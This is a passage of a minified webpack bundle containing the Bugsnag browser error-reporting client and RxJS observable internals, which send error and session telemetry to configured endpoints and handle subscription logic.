ht(t.endpoints[e],i.location.protocol)+"?apiKey="+encodeURIComponent(t.apiKey)+"&payloadVersion="+n+"&sentAt="+encodeURIComponent(s)},ht=lt._matchPageProtocol=function(t,e){return"http:"===e?t.replace(/^https:/,"http:"):t},dt=function(t,e){return void 0===e&&(e=window),{sendEvent:function(n,i){void 0===i&&(i=function(){});try{var s=t._config.endpoints.notify,r=new e.XMLHttpRequest;r.onreadystatechange=function(){r.readyState===e.XMLHttpRequest.DONE&&i(null)},r.open("POST",s),r.setRequestHeader("Content-Type","application/json"),r.setRequestHeader("Bugsnag-Api-Key",n.apiKey||t._config.apiKey),r.setRequestHeader("Bugsnag-Payload-Version","4"),r.setRequestHeader("Bugsnag-Sent-At",(new Date).toISOString()),r.send(at.event(n,t._config.redactedKeys))}catch(o){t._logger.error(o)}},sendSession:function(n,i){void 0===i&&(i=function(){});try{var s=t._config.endpoints.sessions,r=new e.XMLHttpRequest;r.onreadystatechange=function(){r.readyState===e.XMLHttpRequest.DONE&&i(null)},r.open("POST",s),r.setRequestHeader("Content-Type","application/json"),r.setRequestHeader("Bugsnag-Api-Key",t._config.apiKey),r.setRequestHeader("Bugsnag-Payload-Version","1"),r.setRequestHeader("Bugsnag-Sent-At",(new Date).toISOString()),r.send(at.session(n,t._config.redactedKeys))}catch(o){t._logger.error(o)}}}},pt=new Date,ft=function(){pt=new Date},mt={name:"appDuration",load:function(t){return t.addOnError(function(t){var e=new Date;t.app.duration=e-pt},!0),{reset:ft}}},gt=function(t){return void 0===t&&(t=window),{load:function(e){e.addOnError(function(e){void 0===e.context&&(e.context=t.location.pathname)},!0)}}},_t=function(t,e){var n="000000000"+t;return n.substr(n.length-e)},vt="object"==typeof window?window:self,bt=0;for(var yt in vt)Object.hasOwnProperty.call(vt,yt)&&bt++;var wt=navigator.mimeTypes?navigator.mimeTypes.length:0,xt=_t((wt+navigator.userAgent.length).toString(36)+bt.toString(36),4),Ct=function(){return xt},St=0,Et=Math.pow(36,4);function kt(){return _t((Math.random()*Et<<0).toString(36),4)}function Tt(){return"c"+(new Date).getTime().toString(36)+_t((St=St<Et?St:0,++St-1).toString(36),4)+Ct()+(kt()+kt())}Tt.fingerprint=Ct;var At=Tt,It="bugsnag-anonymous-id",Ot=function(t,e){return void 0===t&&(t=navigator),void 0===e&&(e=window.screen),{load:function(n){var i={locale:t.browserLanguage||t.systemLanguage||t.userLanguage||t.language,userAgent:t.userAgent};i.orientation=e&&e.orientation&&e.orientation.type?e.orientation.type:document.documentElement.clientWidth>document.documentElement.clientHeight?"landscape":"portrait",n._config.generateAnonymousId&&(i.id=function(){try{var t=window.localStorage,e=t.getItem(It);return e&&/^c[a-z0-9]{20,32}$/.test(e)||(e=At(),t.setItem(It,e)),e}catch(n){}}()),n.addOnSession(function(t){t.device=d({},t.device,i),n._config.collectUserIp||Rt(t)}),n.addOnError(function(t){t.device=d({},t.device,i,{time:new Date}),n._config.collectUserIp||Rt(t)},!0)},configSchema:{generateAnonymousId:{validate:function(t){return!0===t||!1===t},defaultValue:function(){return!0},message:"should be true|false"}}}},Rt=function(t){var e=t.getUser();(!e||!e.id)&&t.setUser(t.device.id)},Pt=function(t){return void 0===t&&(t=window),{load:function(e){e.addOnError(function(e){e.request&&e.request.url||(e.request=d({},e.request,{url:t.location.href}))},!0)}}},Nt={load:function(t){t._sessionDelegate=Dt}},Dt={startSession:function(t,e){var n=t;return n._session=e,n._pausedSession=null,null===n._config.enabledReleaseStages||i(n._config.enabledReleaseStages,n._config.releaseStage)?(n._delivery.sendSession({notifier:n._notifier,device:e.device,app:e.app,sessions:[{id:e.id,startedAt:e.startedAt,user:e._user}]}),n):(n._logger.warn("Session not sent due to releaseStage/enabledReleaseStages configuration"),n)},resumeSession:function(t){return t._session?t:t._pausedSession?(t._session=t._pausedSession,t._pausedSession=null,t):t.startSession()},pauseSession:function(t){t._pausedSession=t._session,t._session=null}},Lt={load:function(t){t._config.collectUserIp||t.addOnError(function(t){t._user&&void 0===t._user.id&&delete t._user.id,t._user=d({id:"[REDACTED]"},t._user),t.request=d({clientIp:"[REDACTED]"},t.request)})},configSchema:{collectUserIp:{defaultValue:function(){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}}}},Mt={load:function(t){/^(local-)?dev(elopment)?$/.test(t._config.releaseStage)||!t._isBreadcrumbTypeEnabled("log")||p(Ft,function(n){var i=console[n];console[n]=function(){for(var s=arguments.length,r=new Array(s),o=0;o<s;o++)r[o]=arguments[o];t.leaveBreadcrumb("Console output",e(r,function(t,e,n){var i="[Unknown value]";try{i=String(e)}catch(s){}if("[object Object]"===i)try{i=JSON.stringify(e)}catch(s){}return t["["+n+"]"]=i,t},{severity:0===n.indexOf("group")?"log":n}),"log"),i.apply(console,r)},console[n]._restore=function(){console[n]=i}})}},Ft=n(["log","debug","info","warn","error"],function(t){return"undefined"!=typeof console&&"function"==typeof console[t]}),Ut=function(t,i){return void 0===t&&(t=document),void 0===i&&(i=window),{load:function(s){if(s._config.trackInlineScripts){var r=i.location.href,o="",a=t.attachEvent?"complete"===t.readyState:"loading"!==t.readyState,c=function(){return t.documentElement.outerHTML};o=c();var l=t.onreadystatechange;t.onreadystatechange=function(){"interactive"===t.readyState&&(o=c(),a=!0);try{l.apply(this,arguments)}catch(e){}};var u=null,h=function(t){u=t},d=function(){var e=t.currentScript||u;if(!e&&!a){var n=t.scripts||t.getElementsByTagName("script");e=n[n.length-1]}return e};s.addOnError(function(t){t.errors[0].stacktrace=n(t.errors[0].stacktrace,function(t){return!/__trace__$/.test(t.method)});var i=t.errors[0].stacktrace[0];if(!i||!i.file||i.file.replace(/#.*$/,"")===r.replace(/#.*$/,"")){var s=d();if(s){var l=s.innerHTML;t.addMetadata("script","content",l.length<=5e5?l:l.substr(0,5e5)),i&&i.lineNumber&&(i.code=function(t){(!a||!o)&&(o=c());var n=["\x3c!-- DOC START --\x3e"].concat(o.split("\n")),i=t-1,s=Math.max(i-3,0),r=Math.min(i+3,n.length);return e(n.slice(s,r),function(t,e,n){return t[s+1+n]=e.length<=200?e:e.substr(0,200),t},{})}(i.lineNumber))}}},!0);var f=p(["setTimeout","setInterval","setImmediate","requestAnimationFrame"],function(t){return Bt(i,t,function(t){return m(t,function(t){return{get:function(){return t[0]},replace:function(e){t[0]=e}}})})})[0];p(["EventTarget","Window","Node","ApplicationCache","AudioTrackList","ChannelMergerNode","CryptoOperation","EventSource","FileReader","HTMLUnknownElement","IDBDatabase","IDBRequest","IDBTransaction","KeyOperation","MediaController","MessagePort","ModalWindow","Notification","SVGElementInstance","Screen","TextTrack","TextTrackCue","TextTrackList","WebSocket","WebSocketWorker","Worker","XMLHttpRequest","XMLHttpRequestEventTarget","XMLHttpRequestUpload"],function(t){!i[t]||!i[t].prototype||!Object.prototype.hasOwnProperty.call(i[t].prototype,"addEventListener")||(Bt(i[t].prototype,"addEventListener",function(t){return m(t,jt)}),Bt(i[t].prototype,"removeEventListener",function(t){return m(t,jt,!0)}))})}function m(t,e,n){return void 0===n&&(n=!1),function(){var i=[].slice.call(arguments);try{var s=e(i),r=s.get();if(n&&t.apply(this,i),"function"!=typeof r)return t.apply(this,i);if(r.__trace__)s.replace(r.__trace__);else{var o=d();r.__trace__=function(){h(o),f(function(){h(null)},0);var t=r.apply(this,arguments);return h(null),t},r.__trace__.__trace__=r.__trace__,s.replace(r.__trace__)}}catch(a){}if(t.apply)return t.apply(this,i);switch(i.length){case 1:return t(i[0]);case 2:return t(i[0],i[1]);default:return t()}}}},configSchema:{trackInlineScripts:{validate:function(t){return!0===t||!1===t},defaultValue:function(){return!0},message:"should be true|false"}}}};function Bt(t,e,n){var i=t[e];if(!i)return i;var s=n(i);return t[e]=s,i}function jt(t){var e=!!t[1]&&"function"==typeof t[1].handleEvent;return{get:function(){return e?t[1].handleEvent:t[1]},replace:function(n){e?t[1].handleEvent=n:t[1]=n}}}var Ht=function(t){return void 0===t&&(t=window),{load:function(e){"addEventListener"in t&&(!e._isBreadcrumbTypeEnabled("user")||t.addEventListener("click",function(n){var i,s;try{i=Vt(n.target),s=Gt(n.target,t)}catch(r){i="[hidden]",s="[hidden]",e._logger.error("Cross domain error when tracking click event. See docs: https://tinyurl.com/yy3rn63z")}e.leaveBreadcrumb("UI click",{targetText:i,targetSelector:s},"user")},!0))}}},Vt=function(t){var e=t.textContent||t.innerText||"";return!e&&("submit"===t.type||"button"===t.type)&&(e=t.value),function(t,e){var n="(...)";return t&&t.length<=e?t:t.slice(0,e-n.length)+n}(e=e.replace(/^\s+|\s+$/g,""),140)};function Gt(t,e){var n=[t.tagName];if(t.id&&n.push("#"+t.id),t.className&&t.className.length&&n.push("."+t.className.split(" ").join(".")),!e.document.querySelectorAll||!Array.prototype.indexOf)return n.join("");try{if(1===e.document.querySelectorAll(n.join("")).length)return n.join("")}catch(s){return n.join("")}if(t.parentNode.childNodes.length>1){var i=Array.prototype.indexOf.call(t.parentNode.childNodes,t)+1;n.push(":nth-child("+i+")")}return 1===e.document.querySelectorAll(n.join("")).length?n.join(""):t.parentNode?Gt(t.parentNode,e)+" > "+n.join(""):n.join("")}var Yt;Yt=function(t){return void 0===t&&(t=window),{load:function(e){if("addEventListener"in t&&e._isBreadcrumbTypeEnabled("navigation")){var n=function(t){return function(){return e.leaveBreadcrumb(t,{},"navigation")}};t.addEventListener("pagehide",n("Page hidden"),!0),t.addEventListener("pageshow",n("Page shown"),!0),t.addEventListener("load",n("Page loaded"),!0),t.document.addEventListener("DOMContentLoaded",n("DOMContentLoaded"),!0),t.addEventListener("load",function(){return t.addEventListener("popstate",n("Navigated back"),!0)}),t.addEventListener("hashchange",function(n){var i=n.oldURL?{from:qt(n.oldURL,t),to:qt(n.newURL,t),state:zt(t)}:{to:qt(t.location.href,t)};e.leaveBreadcrumb("Hash changed",i,"navigation")},!0),t.history.replaceState&&$t(e,t.history,"replaceState",t),t.history.pushState&&$t(e,t.history,"pushState",t)}}}};var qt=function(t,e){var n=e.document.createElement("A");return n.href=t,""+n.pathname+n.search+n.hash},$t=function(t,e,n,i){var s=e[n];e[n]=function(r,o,a){t.leaveBreadcrumb("History "+n,function(t,e,n,i){var s=qt(t.location.href,t);return{title:n,state:e,prevState:zt(t),to:i||s,from:s}}(i,r,o,a),"navigation"),"function"==typeof t.resetEventCount&&t.resetEventCount(),t._config.autoTrackSessions&&t.startSession(),s.apply(e,[r,o].concat(void 0!==a?a:[]))}},zt=function(t){try{return t.history.state}catch(e){}},Zt="request",Wt="BS~~S",Jt="BS~~U",Qt="BS~~M",Kt=function(t,e){return void 0===t&&(t=[]),void 0===e&&(e=window),{load:function(n){if(n._isBreadcrumbTypeEnabled("request")){var s=[n._config.endpoints.notify,n._config.endpoints.sessions].concat(t);(function(){if("addEventListener"in e.XMLHttpRequest.prototype){var t=e.XMLHttpRequest.prototype.open;e.XMLHttpRequest.prototype.open=function(e,n){this[Jt]=n,this[Qt]=e,this[Wt]&&(this.removeEventListener("load",a),this.removeEventListener("error",c)),this.addEventListener("load",a),this.addEventListener("error",c),this[Wt]=!0,t.apply(this,arguments)}}})(),function(){if("fetch"in e&&!e.fetch.polyfill){var t=e.fetch;e.fetch=function(){var e,n=arguments,i=arguments[0],s=arguments[1],a=null;return i&&"object"==typeof i?(a=i.url,s&&"method"in s?e=s.method:i&&"method"in i&&(e=i.method)):(a=i,s&&"method"in s&&(e=s.method)),void 0===e&&(e="GET"),new Promise(function(i,s){t.apply(void 0,n).then(function(t){r(t,e,a),i(t)}).catch(function(t){o(e,a),s(t)})})}}}();var r=function(t,e,i){n.leaveBreadcrumb(t.status>=400?"fetch() failed":"fetch() succeeded",{status:t.status,request:e+" "+i},Zt)},o=function(t,e){n.leaveBreadcrumb("fetch() error",{request:t+" "+e},Zt)}}function a(){var t=this[Jt];if(void 0!==t){if("string"!=typeof t||!i(s,t.replace(/\?.*$/,""))){n.leaveBreadcrumb(this.status>=400?"XMLHttpRequest failed":"XMLHttpRequest succeeded",{status:this.status,request:this[Qt]+" "+this[Jt]},Zt)}}else n._logger.warn("The request URL is no longer present on this XMLHttpRequest. A breadcrumb cannot be left for this request.")}function c(){var t=this[Jt];void 0!==t?"string"==typeof t&&i(s,t.replace(/\?.*$/,""))||n.leaveBreadcrumb("XMLHttpRequest error",{request:this[Qt]+" "+this[Jt]},Zt):n._logger.warn("The request URL is no longer present on this XMLHttpRequest. A breadcrumb cannot be left for this request.")}}}},Xt={load:function(t){var e=0;t.addOnError(function(n){if(e>=t._config.maxEvents)return!1;e++}),t.resetEventCount=function(){e=0}},configSchema:{maxEvents:{defaultValue:function(){return 10},message:"should be a positive integer \u2264100",validate:function(t){return c(1,100)(t)}}}},te={},ee=(te={load:function(t){t.addOnError(function(t){var n=e(t.errors,function(t,e){return t.concat(e.stacktrace)},[]);p(n,function(t){t.file=ee(t.file)})})}})._strip=function(t){return"string"==typeof t?t.replace(/\?.*$/,"").replace(/#.*$/,""):t},ne=function(t){return void 0===t&&(t=window),{load:function(e){if(e._config.autoDetectErrors&&e._config.enabledErrorTypes.unhandledExceptions){var n=t.onerror;t.onerror=function(t,i,s,r,o){if(0===s&&/Script error\.?/.test(t))e._logger.warn("Ignoring cross-domain or eval script error. See docs: https://tinyurl.com/yy3rn63z");else{var a,c={severity:"error",unhandled:!0,severityReason:{type:"unhandledException"}};o?(a=e.Event.create(o,!0,c,"window onerror",1),ie(a.errors[0].stacktrace,i,s,r)):"object"!=typeof t||null===t||i&&"string"==typeof i||s||r||o?(a=e.Event.create(t,!0,c,"window onerror",1),ie(a.errors[0].stacktrace,i,s,r)):((a=e.Event.create({name:t.type?"Event: "+t.type:"Error",message:t.message||t.detail||""},!0,c,"window onerror",1)).originalError=t,a.addMetadata("window onerror",{event:t,extraParameters:i})),e._notify(a)}"function"==typeof n&&n.apply(this,arguments)}}}}},ie=function(t,e,n,i){t[0]||t.push({});var s=t[0];!s.file&&"string"==typeof e&&(s.file=e),!s.lineNumber&&se(n)&&(s.lineNumber=n),s.columnNumber||(se(i)?s.columnNumber=i:window.event&&se(window.event.errorCharacter)&&(s.columnNumber=window.event.errorCharacter))},se=function(t){return"number"==typeof t&&"NaN"!==String.call(t)},re=function(t){return void 0===t&&(t=window),{load:function(e){if(e._config.autoDetectErrors&&e._config.enabledErrorTypes.unhandledRejections){var n=function(t){var n=t.reason,i=!1;try{t.detail&&t.detail.reason&&(n=t.detail.reason,i=!0)}catch(r){}var s=e.Event.create(n,!1,{severity:"error",unhandled:!0,severityReason:{type:"unhandledPromiseRejection"}},"unhandledrejection handler",1,e._logger);i&&p(s.errors[0].stacktrace,oe(n)),e._notify(s,function(t){var e;C(t.originalError)&&!t.originalError.stack&&t.addMetadata("unhandledRejection handler",((e={})[Object.prototype.toString.call(t.originalError)]={name:t.originalError.name,message:t.originalError.message,code:t.originalError.code},e))})};"addEventListener"in t?t.addEventListener("unhandledrejection",n):t.onunhandledrejection=function(t,e){n({detail:{reason:t,promise:e}})}}}}},oe=function(t){return function(e){e.file!==t.toString()&&e.method&&(e.method=e.method.replace(/^\s+/,""))}},ae={},ce=d({},h.schema,g),le={_client:null,createClient:function(t){"string"==typeof t&&(t={apiKey:t}),t||(t={});var e=[mt,Ot(),gt(),Pt(),Xt,Nt,Lt,te,ne(),re(),Yt(),Ht(),Kt(),Mt,Ut()],n=new tt(t,ce,e,{name:"Bugsnag JavaScript",version:"7.14.1",url:"https://github.com/bugsnag/bugsnag-js"});return n._setDelivery(window.XDomainRequest?lt:dt),n._logger.debug("Loaded!"),n.leaveBreadcrumb("Bugsnag loaded",{},"state"),n._config.autoTrackSessions?n.startSession():n},start:function(t){return le._client?(le._client._logger.warn("Bugsnag.start() was called more than once. Ignoring."),le._client):(le._client=le.createClient(t),le._client)}};return p(["resetEventCount"].concat(a(tt.prototype)),function(t){/^_/.test(t)||(le[t]=function(){if(!le._client)return console.log("Bugsnag."+t+"() was called before Bugsnag.start()");le._client._depth+=1;var e=le._client[t].apply(le._client,arguments);return le._client._depth-=1,e})}),(ae=le).Client=tt,ae.Event=L,ae.Session=W,ae.Breadcrumb=v,ae.default=le,ae}()},32118:function(t,e,n){t.exports=n(52683)},76491:function(t,e,n){"use strict";n.d(e,{X:function(){return r}});var i=n(79441),s=n(96874);class r extends i.xQ{constructor(t){super(),this._value=t}get value(){return this.getValue()}_subscribe(t){const e=super._subscribe(t);return e&&!e.closed&&t.next(this._value),e}getValue(){if(this.hasError)throw this.thrownError;if(this.closed)throw new s.N;return this._value}next(t){super.next(this._value=t)}}},93621:function(t,e,n){"use strict";n.d(e,{P:function(){return o}});var i=n(8117),s=n(81134),r=n(45871);class o{constructor(t,e,n){this.kind=t,this.value=e,this.error=n,this.hasValue="N"===t}observe(t){switch(this.kind){case"N":return t.next&&t.next(this.value);case"E":return t.error&&t.error(this.error);case"C":return t.complete&&t.complete()}}do(t,e,n){switch(this.kind){case"N":return t&&t(this.value);case"E":return e&&e(this.error);case"C":return n&&n()}}accept(t,e,n){return t&&"function"==typeof t.next?this.observe(t):this.do(t,e,n)}toObservable(){switch(this.kind){case"N":return(0,s.of)(this.value);case"E":return(0,r._)(this.error);case"C":return(0,i.c)()}throw new Error("unexpected notification kind value")}static createNext(t){return void 0!==t?new o("N",t):o.undefinedValueNotification}static createError(t){return new o("E",void 0,t)}static createComplete(){return o.completeNotification}}o.completeNotification=new o("C"),o.undefinedValueNotification=new o("N",void 0)},89544:function(t,e,n){"use strict";n.d(e,{y:function(){return l}});var i=n(71003),s=n(69975),r=n(80269),o=n(76165),a=n(87206);var c=n(24572);let l=(()=>{class t{constructor(t){this._isScalar=!1,t&&(this._subscribe=t)}lift(e){const n=new t;return n.source=this,n.operator=e,n}subscribe(t,e,n){const{operator:o}=this,a=function(t,e,n){if(t){if(t instanceof i.L)return t;if(t[s.b])return t[s.b]()}return t||e||n?new i.L(t,e,n):new i.L(r.c)}(t,e,n);if(a.add(o?o.call(a,this.source):this.source||c.v.useDeprecatedSynchronousErrorHandling&&!a.syncErrorThrowable?this._subscribe(a):this._trySubscribe(a)),c.v.useDeprecatedSynchronousErrorHandling&&a.syncErrorThrowable&&(a.syncErrorThrowable=!1,a.syncErrorThrown))throw a.syncErrorValue;return a}_trySubscribe(t){try{return this._subscribe(t)}catch(e){c.v.useDeprecatedSynchronousErrorHandling&&(t.syncErrorThrown=!0,t.syncErrorValue=e),function(t){for(;t;){const{closed:e,destination:n,isStopped:s}=t;if(e||s)return!1;t=n&&n instanceof i.L?n:null}return!0}(t)?t.error(e):console.warn(e)}}forEach(t,e){return new(e=u(e))((e,n)=>{let i;i=this.subscribe(e=>{try{t(e)}catch(s){n(s),i&&i.unsubscribe()}},n,e)})}_subscribe(t){const{source:e}=this;return e&&e.subscribe(t)}[o.L](){return this}pipe(...t){return 0===t.length?this:function(t){return 0===t.length?a.y:1===t.length?t[0]:function(e){return t.reduce((t,e)=>e(t),e)}}(t)(this)}toPromise(t){return new(t=u(t))((t,e)=>{let n;this.subscribe(t=>n=t,t=>e(t),()=>t(n))})}}return t.create=e=>new t(e),t})();function u(t){if(t||(t=c.v.Promise||Promise),!t)throw new Error("no Promise impl found");return t}},80269:function(t,e,n){"use strict";n.d(e,{c:function(){return r}});var i=n(24572),s=n(76901);const r={closed:!0,next(t){},error(t){if(i.v.useDeprecatedSynchronousErrorHandling)throw t;(0,s.z)(t)},complete(){}}},84224:function(t,e,n){"use strict";n.d(e,{t:function(){return f}});var i=n(79441),s=n(39511),r=n(31660);const o=new class extends r.v{}(class extends s.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}schedule(t,e=0){return e>0?super.schedule(t,e):(this.delay=e,this.state=t,this.scheduler.flush(this),this)}execute(t,e){return e>0||this.closed?super.execute(t,e):this._execute(t,e)}requestAsyncId(t,e,n=0){return null!==n&&n>0||null===n&&this.delay>0?super.requestAsyncId(t,e,n):t.flush(this)}});var a=n(11318),c=n(71003),l=n(93621);class u extends c.L{constructor(t,e,n=0){super(t),this.scheduler=e,this.delay=n}static dispatch(t){const{notification:e,destination:n}=t;e.observe(n),this.unsubscribe()}scheduleMessage(t){this.destination.add(this.scheduler.schedule(u.dispatch,this.delay,new h(t,this.destination)))}_next(t){this.scheduleMessage(l.P.createNext(t))}_error(t){this.scheduleMessage(l.P.createError(t)),this.unsubscribe()}_complete(){this.scheduleMessage(l.P.createComplete()),this.unsubscribe()}}class h{constructor(t,e){this.notification=t,this.destination=e}}var d=n(96874),p=n(32691);class f extends i.xQ{constructor(t=Number.POSITIVE_INFINITY,e=Number.POSITIVE_INFINITY,n){super(),this.scheduler=n,this._events=[],this._infiniteTimeWindow=!1,this._bufferSize=t<1?1:t,this._windowTime=e<1?1:e,e===Number.POSITIVE_INFINITY?(this._infiniteTimeWindow=!0,this.next=this.nextInfiniteTimeWindow):this.next=this.nextTimeWindow}nextInfiniteTimeWindow(t){if(!this.isStopped){const e=this._events;e.push(t),e.length>this._bufferSize&&e.shift()}super.next(t)}nextTimeWindow(t){this.isStopped||(this._events.push(new m(this._getNow(),t)),this._trimBufferThenGetEvents()),super.next(t)}_subscribe(t){const e=this._infiniteTimeWindow,n=e?this._events:this._trimBufferThenGetEvents(),i=this.scheduler,s=n.length;let r;if(this.closed)throw new d.N;if(this.isStopped||this.hasError?r=a.w.EMPTY:(this.observers.push(t),r=new p.W(this,t)),i&&t.add(t=new u(t,i)),e)for(let o=0;o<s&&!t.closed;o++)t.next(n[o]);else for(let o=0;o<s&&!t.closed;o++)t.next(n[o].value);return this.hasError?t.error(this.thrownError):this.isStopped&&t.complete(),r}_getNow(){return(this.scheduler||o).now()}_trimBufferThenGetEvents(){const t=this._getNow(),e=this._bufferSize,n=this._windowTime,i=this._events,s=i.length;let r=0;for(;r<s&&!(t-i[r].time<n);)r++;return s>e&&(r=Math.max(r,s-e)),r>0&&i.splice(0,r),i}}class m{constructor(t,e){this.time=t,this.value=e}}},79441:function(t,e,n){"use strict";n.d(e,{Yc:function(){return l},xQ:function(){return u}});var i=n(89544),s=n(71003),r=n(11318),o=n(96874),a=n(32691),c=n(69975);class l extends s.L{constructor(t){super(t),this.destination=t}}let u=(()=>{class t extends i.y{constructor(){super(),this.observers=[],this.closed=!1,this.isStopped=!1,this.hasError=!1,this.thrownError=null}[c.b](){return new l(this)}lift(t){const e=new h(this,this);return e.operator=t,e}next(t){if(this.closed)throw new o.N;if(!this.isStopped){const{observers:e}=this,n=e.length,i=e.slice();for(let s=0;s<n;s++)i[s].next(t)}}error(t){if(this.closed)throw new o.N;this.hasError=!0,this.thrownError=t,this.isStopped=!0;const{observers:e}=this,n=e.length,i=e.slice();for(let s=0;s<n;s++)i[s].error(t);this.observers.length=0}complete(){if(this.closed)throw new o.N;this.isStopped=!0;const{observers:t}=this,e=t.length,n=t.slice();for(let i=0;i<e;i++)n[i].complete();this.observers.length=0}unsubscribe(){this.isStopped=!0,this.closed=!0,this.observers=null}_trySubscribe(t){if(this.closed)throw new o.N;return super._trySubscribe(t)}_subscribe(t){if(this.closed)throw new o.N;return this.hasError?(t.error(this.thrownError),r.w.EMPTY):this.isStopped?(t.complete(),r.w.EMPTY):(this.observers.push(t),new a.W(this,t))}asObservable(){const t=new i.y;return t.source=this,t}}return t.create=(t,e)=>new h(t,e),t})();class h extends u{constructor(t,e){super(),this.destination=t,this.source=e}next(t){const{destination:e}=this;e&&e.next&&e.next(t)}error(t){const{destination:e}=this;e&&e.error&&this.destination.error(t)}complete(){const{destination:t}=this;t&&t.complete&&this.destination.complete()}_subscribe(t){const{source:e}=this;return e?this.source.subscribe(t):r.w.EMPTY}}},32691:function(t,e,n){"use strict";n.d(e,{W:function(){return s}});var i=n(11318);class s extends i.w{constructor(t,e){super(),this.subject=t,this.subscriber=e,this.closed=!1}unsubscribe(){if(this.closed)return;this.closed=!0;const t=this.subject,e=t.observers;if(this.subject=null,!e||0===e.length||t.isStopped||t.closed)return;const n=e.indexOf(this.subscriber);-1!==n&&e.splice(n,1)}}},71003:function(t,e,n){"use strict";n.d(e,{L:function(){return l}});var i=n(80018),s=n(80269),r=n(11318),o=n(69975),a=n(24572),c=n(76901);class l extends r.w{constructor(t,e,n){switch(super(),this.syncErrorValue=null,this.syncErrorThrown=!1,this.syncErrorThrowable=!1,this.isStopped=!1,arguments.length){case 0:this.destination=s.c;break;case 1:if(!t){this.destination=s.c;break}if("object"==typeof t){t instanceof l?(this.syncErrorThrowable=t.syncErrorThrowable,this.destination=t,t.add(this)):(this.syncErrorThrowable=!0,this.destination=new u(this,t));break}default:this.syncErrorThrowable=!0,this.destination=new u(this,t,e,n)}}[o.b](){return this}static create(t,e,n){const i=new l(t,e,n);return i.syncErrorThrowable=!1,i}next(t){this.isStopped||this._next(t)}error(t){this.isStopped||(this.isStopped=!0,this._error(t))}complete(){this.isStopped||(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe())}_next(t){this.destination.next(t)}_error(t){this.destination.error(t),this.unsubscribe()}_complete(){this.destination.complete(),this.unsubscribe()}_unsubscribeAndRecycle(){const{_parentOrParents:t}=this;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=t,this}}class u extends l{constructor(t,e,n,r){super(),this._parentSubscriber=t;let o,a=this;(0,i.m)(e)?o=e:e&&(o=e.next,n=e.error,r=e.complete,e!==s.c&&(a=Object.create(e),(0,i.m)(a.unsubscribe)&&this.add(a.unsubscribe.bind(a)),a.unsubscribe=this.unsubscribe.bind(this))),this._context=a,this._next=o,this._error=n,this._complete=r}next(t){if(!this.isStopped&&this._next){const{_parentSubscriber:e}=this;a.v.useDeprecatedSynchronousErrorHandling&&e.syncErrorThrowable?this.__tryOrSetError(e,this._next,t)&&this.unsubscribe():this.__tryOrUnsub(this._next,t)}}error(t){if(!this.isStopped){const{_parentSubscriber:e}=this,{useDeprecatedSynchronousErrorHandling:n}=a.v;if(this._error)n&&e.syncErrorThrowable?(this.__tryOrSetError(e,this._error,t),this.unsubscribe()):(this.__tryOrUnsub(this._error,t),this.unsubscribe());else if(e.syncErrorThrowable)n?(e.syncErrorValue=t,e.syncErrorThrown=!0):(0,c.z)(t),this.unsubscribe();else{if(this.unsubscribe(),n)throw t;(0,c.z)(t)}}}complete(){if(!this.isStopped){const{_parentSubscriber:t}=this;if(this._complete){const e=()=>this._complete.call(this._context);a.v.useDeprecatedSynchronousErrorHandling&&t.syncErrorThrowable?(this.__tryOrSetError(t,e),this.unsubscribe()):(this.__tryOrUnsub(e),this.unsubscribe())}else this.unsubscribe()}}__tryOrUnsub(t,e){try{t.call(this._context,e)}catch(n){if(this.unsubscribe(),a.v.useDeprecatedSynchronousErrorHandling)throw n;(0,c.z)(n)}}__tryOrSetError(t,e,n){if(!a.v.useDeprecatedSynchronousErrorHandling)throw new Error("bad call");try{e.call(this._context,n)}catch(i){return a.v.useDeprecatedSynchronousErrorHandling?(t.syncErrorValue=i,t.syncErrorThrown=!0,!0):((0,c.z)(i),!0)}return!1}_unsubscribe(){const{_parentSubscriber:t}=this;this._context=null,this._parentSubscriber=null,t.unsubscribe()}}},11318:function(t,e,n){"use strict";n.d(e,{w:function(){return a}});var i=n(49861),s=n(71533),r=n(80018);const o=(()=>{function t(t){return Error.call(this),this.message=t?`${t.length} errors occurred during unsubscription:\n${t.map((t,e)=>`${e+1}) ${t.toString()}`).join("\n  ")}`:"",this.name="UnsubscriptionError",this.errors=t,this}return t.prototype=Object.create(Error.prototype),t})();class a{constructor(t){this.closed=!1,this._parentOrParents=null,this._subscriptions=null,t&&(this._ctorUnsubscribe=!0,this._unsubscribe=t)}unsubscribe(){let t;if(this.closed)return;let{_parentOrParents:e,_ctorUnsubscribe:n,_unsubscribe:c,_subscriptions:u}=this;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,e instanceof a)e.remove(this);else if(null!==e)for(let i=0;i<e.length;++i)e[i].remove(this);if((0,r.m)(c)){n&&(this._unsubscribe=void 0);try{c.call(this)}catch(h){t=h instanceof o?l(h.errors):[h]}}if((0,i.k)(u)){let e=-1,n=u.length;for(;++e<n;){const n=u[e];if((0,s.K)(n))try{n.unsubscribe()}catch(d){t=t||[],d instanceof o?t=t.concat(l(d.errors)):t.push(d)}}}if(t)throw new o(t)}add(t){let e=t;if(!t)return a.EMPTY;switch(typeof t){case"function":e=new a(t);case"object":if(e===this||e.closed||"function"!=typeof e.unsubscribe)return e;if(this.closed)return e.unsubscribe(),e;if(!(e instanceof a)){const t=e;e=new a,e._subscriptions=[t]}break;default:throw new Error("unrecognized teardown "+t+" added to Subscription.")}let{_parentOrParents:n}=e;if(null===n)e._parentOrParents=this;else if(n instanceof a){if(n===this)return e;e._parentOrParents=[n,this]}else{if(-1!==n.indexOf(this))return e;n.push(this)}const i=this._subscriptions;return null===i?this._subscriptions=[e]:i.push(e),e}remove(t){const e=this._subscriptions;if(e){const n=e.indexOf(t);-1!==n&&e.splice(n,1)}}}var c;function l(t){return t.reduce((t,e)=>t.concat(e instanceof o?e.errors:e),[])}a.EMPTY=((c=new a).closed=!0,c)},24572:function(t,e,n){"use strict";n.d(e,{v:function(){return s}});let i=!1;const s={Promise:void 0,set useDeprecatedSynchronousErrorHandling(t){if(t){const t=new Error;console.warn("DEPRECATED! RxJS was set to use deprecated synchronous error handling behavior by code at: \n"+t.stack)}else i&&console.log("RxJS: Back to a better error behavior. Thank you. <3");i=t},get useDeprecatedSynchronousErrorHandling(){return i}}},27272:function(t,e,n){"use strict";n.d(e,{IY:function(){return o},Ds:function(){return a},ft:function(){return c}});var i=n(71003),s=n(89544),r=n(57888);class o extends 